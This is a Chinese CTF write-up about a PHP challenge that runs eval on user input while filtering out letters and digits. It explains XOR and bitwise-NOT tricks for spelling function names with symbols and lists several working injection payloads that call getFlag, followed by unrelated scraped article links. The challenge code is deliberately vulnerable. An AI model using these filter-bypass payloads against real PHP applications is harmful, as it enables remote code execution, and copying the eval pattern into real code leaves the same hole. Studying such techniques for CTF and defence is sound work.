【奇技淫巧】过滤了字母和数字,如何写 shell
日期:2018-08-13 11:56:26
作者:Bay0net
介绍:金融行业正式比赛的一个题目
0x01、题目信息
文中给了一个代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
过滤了大小写字母和数字,如何传参来获取 flag?
0x02、构造过程
2.1 有关 php 的异或:

A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~

2.2 举个栗子
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
- 关于
$_++;;因为$_事先没有定义,所以等于null,然后执行自加的操作,此时$_=1 - 关于
$__= "?" ^ "}";;这里的$__是字符 B - 最后一句,等价于
B(),执行了B()这个函数
("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
上面的是_POST
2.3 关于 GET 传参
源码如下
<?php
function getFlag() {
echo 'flag_is_here!';
}
echo (eval($_GET['gg']));
?>
方法1:
?gg=${_GET}[_]();&_=getFlag
?gg=${"`{{{"^"?<>/"}["`"^"?"]();&_=getFlag
方法2:博客里的,没搞懂 ${_GET}[__] 干啥的:
?code=${_GET}[_](${_GET}[__]);&_=getFlag
?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
方法3:把 getFlag 取反,然后进行 URL 编码
<?php
$a = urlencode('getflag');
echo urlencode(~$a);
?>
gg=$_=getflag;$_();
gg=$_=~%98%9A%8B%B9%93%9E%98;$_();
方法4:
?gg=$阿=getflag;$阿();
?gg=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
Referer
【奇技淫巧】过滤了字母和数字,如何写 shell的更多相关文章
- Java中过滤出字母、数字和中文的正则表达式
1.Java中过滤出字母.数字和中文的正则表达式 (1)过滤出字母的正则表达式 [^(A-Za-z)] (2)过滤出数字的正则表达式 [^(0-9)] (3)过滤出中文的正则表达式 [^(\\u4e0 ...
- AJPFX总结关于Java中过滤出字母、数字和中文的正则表达式
1.Java中过滤出字母.数字和中文的正则表达式 (1)过滤出字母的正则表达式 [^(A-Za-z)] (2) 过滤出 数字 的正则表达式 [^(0-9)] (3) 过滤出 中文 的正则 ...
- Java正则表达式过滤出字母、数字和中文
原文:http://blog.csdn.net/k21325/article/details/54090066 1.Java中过滤出字母.数字和中文的正则表达式 (1)过滤出字母的正则表达式 [^(A ...
- 涨姿势:抛弃字母、数字和下划线写SHELL
PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...
- Python 过滤字母和数字
[前言]在写爬虫时,正则表达式有时候比较难写,一个是自己不熟练,二者数据分析提取数据千奇百怪. 一.好在python有个re模块,提供了很多更加简便的方法:可参考此文档:https://www.cnb ...
- C# 过滤特殊字符,保留中文,字母,数字,和-
#region public static string FilterChar(string inputValue) 过滤特殊字符,保留中文,字母,数字,和- /// <summary> ...
- java验证,”支持6-20个字母、数字、下划线或减号,以字母开头“这个的正则表达式怎么写?
转自:https://yq.aliyun.com/wenzhang/show_96854 问题描述 java验证,”支持6-20个字母.数字.下划线或减号,以字母开头“这个的正则表达式怎么写? 验证” ...
- 安恒杯月赛 babypass getshell不用英文字母和数字
BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...
- 关于IEDA中的字母与数字的坑
今天写一个demo,环境是在IDEA下写的,遇到一个关于字母与数字完全一样的坑 在jsp页面中有一个input是这样的 <input type="file" name=&qu ...
随机推荐
- Delphi 7的特点
- linux系统监控sar命令
linux系统监控sar命令详解 sar(System Activity Reporter系统活动情况报告)是目前 Linux 上最为全面的系统性能分析工具之一,可以从多方面对系统的活动进行报告, 包 ...
- Linux20期学习笔记 Day4
环境变量.常用系统变量:vim编辑器使用方法及实验:shell脚本两个层次 内置参数及相关实验
- MapReduce TopN(自主复习)
1.MyTopN 主程序 package com.littlepage.topn; import org.apache.hadoop.conf.Configuration; import org.a ...
- mysql查看库、表占用存储空间大小
http://blog.csdn.net/bzfys/article/details/55252962 1. 查看该数据库实例下所有库大小,得到的结果是以MB为单位 <span class=&q ...
- Python excel读写
# coding=utf-8 print "----------------分割线 xlrd--------------------" import xlrd #打开一个wordb ...
- Understand:高效代码静态分析神器详解(一) 转
之前用Windows系统,一直用source insight查看代码非常方便,但是年前换到mac下面,虽说很多东西都方便了,但是却没有了静态代码分析工具,很幸运,前段时间找到一款比source ins ...
- 查看系统的DPI
#include <Windows.h> #include <iostream> int main() { SetProcessDpiAwarenessContext(DPI_ ...
- 微信小程序横向滚动正确姿势
<1>xml文件 <view> <scroll-view scroll-x class="scroll-header"> <view cl ...
- Xshell6-项目使用
前端开发中,涉及服务器的地方一般都交给后端处理,这样有时候很不方便,所以,自己来上传服务器是非常爽的啦 工具: Xshell6 传送门: http://www.netsarang.com/produc ...